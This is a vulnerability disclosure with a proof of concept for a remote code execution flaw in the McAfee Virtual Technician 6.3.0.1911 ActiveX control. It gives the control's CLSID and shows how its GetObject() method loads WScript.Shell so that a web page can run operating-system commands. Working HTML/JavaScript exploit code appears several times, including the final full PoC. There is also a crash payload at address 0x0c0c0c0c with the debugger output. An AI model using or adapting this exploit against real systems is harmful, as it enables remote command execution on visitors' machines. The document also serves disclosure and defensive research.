McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 – ActiveX ‘GetObject()’ Code Execution
McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control GetObject() Security Bypass Remote Code Execution Vulnerability tested against: Microsoft Windows Vista sp2 Microsoft Windows 2003 r2 sp2 Internet Explorer 7/8/9 product homepage: http://www.mcafee.com/it/downloads/free-tools/virtual-technician.aspx file tested: MVTInstaller.exe background: the mentioned product installs an ActiveX control with the following settings: Binary path: C:\Program Files\McAfee\Supportability\MVT\MVT.dll ProgID: MVT.MVTControl.6300 CLSID: {2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF} Implements IObjectSafety: Yes Safe for Scripting (IObjectSafety): true Safe for Initialization (IObjectSafety: false According to IObjectSafety interface, this control is safe for scripting, then Internet Explorer will allow scripting from remote. Vulnerability: this control offers the vulnerable GetObject() function, see typelib: ... /* DISPID=3 */ /* VT_VARIANT [12] */ function GetObject( /* VT_VARIANT [12] [in] */ $in_dwObjectID ) { /* method GetObject */ } ... by specifing the ProgID of an arbitrary class from the underlying operating system, with no regards for browser security, is possible to load ex. the WScript.Shell class. The returned object now offers the Exec() method which can be used to launch operating system commands. Example of attack: <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' /> </object> <script defer=defer> var x = obj.GetObject("WScript.Shell"); x.Exec("cmd /c start calc"); </script> it is also possible to crash the browser by specifying an arbitrary memory address <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' /> </object> <script defer=defer> var x = obj.GetObject(0x0c0c0c0c); </script> example crash: eax=0c0c0c0c ebx=0197085c ecx=01b5efec edx=0000008e esi=01b5efec edi=01b5f344 eip=77bd8efa esp=01b5ef80 ebp=01b5ef80 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 msvcrt!wcslen+0x8: 77bd8efa 668b08 mov cx,word ptr [eax] ds:0023:0c0c0c0c=???? debugger shows an access violation while reading 0x0c0c0c0c, this could be also exploitable but not demonstrated at the time of this report As attachment, proof of concept code which executes calc.exe, then crash IE. additional note: 0:010> lm -vm mvt start end module name 03450000 034b8000 MVT (deferred) Image path: D:\Program Files\McAfee\Supportability\MVT\MVT.dll Image name: MVT.dll Timestamp: Thu Jan 12 07:37:26 2012 (4F0E7FA6) CheckSum: 0006C308 ImageSize: 00068000 File version: 6.3.0.1911 Product version: 6.3.0.1911 File flags: 0 (Mask 3F) File OS: 4 Unknown Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04e4 CompanyName: McAfee, Inc. ProductName: McAfee Virtual Technician InternalName: MVT.dll OriginalFilename: MVT.dll ProductVersion: 6.3.0.1911 FileVersion: 6.3.0.1911 FileDescription: McAfee, Inc. LegalCopyright: ©2011 McAfee, Inc. All Rights Reserved. <!-- McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control GetObject() Security Bypass Remote Code Execution PoC Binary path: C:\Program Files\McAfee\Supportability\MVT\MVT.dll ProgID: MVT.MVTControl.6300 CLSID: {2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF} Implements IObjectSafety: Yes Safe for Scripting (IObjectSafety): true Safe for Initialization (IObjectSafety: false //rgod --> <!-- saved from url=(0014)about:internet --> <html> <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' /> </object> <script defer=defer> var x = obj.GetObject("WScript.Shell"); x.Exec("cmd /c start calc"); var y = obj.GetObject(0x0c0c0c0c); </script> //rgod |